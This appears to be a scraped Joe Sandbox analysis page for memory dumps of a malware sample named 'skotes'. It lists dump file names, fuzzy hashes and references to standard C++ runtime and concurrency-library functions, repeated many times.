Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: bcf13e51aecf1c60ca0f1da06238d77d97a29654f14387eed6269490826b40cc
Instruction ID: f901df99d08ff684fef301802594774a2642639e2bdf0b14446ac61cbe00b1c2
Opcode Fuzzy Hash: bcf13e51aecf1c60ca0f1da06238d77d97a29654f14387eed6269490826b40cc
Instruction Fuzzy Hash: 1B01A271600622BFDA357B64C982DAFBBA9FF45711700142BFC0497653CF20AC5686D4

Function 000633C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 000633DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 000633EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00063407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0006341F

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 4625b2514cff4ef1754520ecfcfcb5f336f19fbca130f2ac731c890eaac866fa
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: EE01D132A00514A7CF26EE658852AEFB7ABDF44350F100025FD12AB382DE71EF0096E0

Function 00059510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00059519

Part of subcall function 0004F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00055486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0005953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00059550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00059559

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 004da02b423b02b98da9b1f4977b8be8d57cbf7ddedb2d367e9475da996af2a8
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: CDF03771600E109EEA76AB548811FAB23D59F44716F00C41DED5B97183DE64E94ACB51

Function 0004EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 0004EFD1

Part of subcall function 0004F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0004F989
Part of subcall function 0004F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0004F9C0
Part of subcall function 0004F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0004F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0004EFDD

Part of subcall function 0004F40F: Concurrency::critical_section::unlock.LIBCMT ref: 0004F433

Concurrency::Context::Block.LIBCONCRT ref: 0004EFE2

Part of subcall function 00050366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00050368

Concurrency::critical_section::lock.LIBCONCRT ref: 0004F002

Part of subcall function 0004F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0004F8AC
Part of subcall function 0004F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0004F8B7

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 56491d7e1fc4bc33e6d1823d0eb3dc2659822387bb3e2b1a0d90fb148b3a9fa9
Instruction ID: 9fe91f3eb2e0f78e2361b7740e55586b6b0eeef1e48672ba15c748d60e8bc97c
Opcode Fuzzy Hash: 56491d7e1fc4bc33e6d1823d0eb3dc2659822387bb3e2b1a0d90fb148b3a9fa9
Instruction Fuzzy Hash: A0E08674900506ABDB04FB20C4555FDFB61BF84360B148339E4A5572E3CF386E4ACB99

Function 0006FCC0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322COMMONLIBRARYCODE

Download Yara Rule

APIs

__fassign.LIBCMT ref: 0006FEE7
__fassign.LIBCMT ref: 0006FF04

Strings

L/ds, xrefs: 0006FCCB

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: __fassign
String ID: L/ds
API String ID: 3965848254-185251681
Opcode ID: f3ad4137eb40011a82b9d62b5831427fa7a39014ebb650de9b16345c79d005df
Instruction ID: 61d83dbf3e66a7786d4db9dfcf1dffd81b1009ac2fa23dedea00f97000f66486
Opcode Fuzzy Hash: f3ad4137eb40011a82b9d62b5831427fa7a39014ebb650de9b16345c79d005df
Instruction Fuzzy Hash: A3C1DC71D002599FCF15CFA8D880AEDBBB6BF49314F28416AE819BB342D731AD46CB50

Function 000326B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00032846
___std_exception_destroy.LIBVCRUNTIME ref: 000328E0

Strings

L/ds, xrefs: 000326D8

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
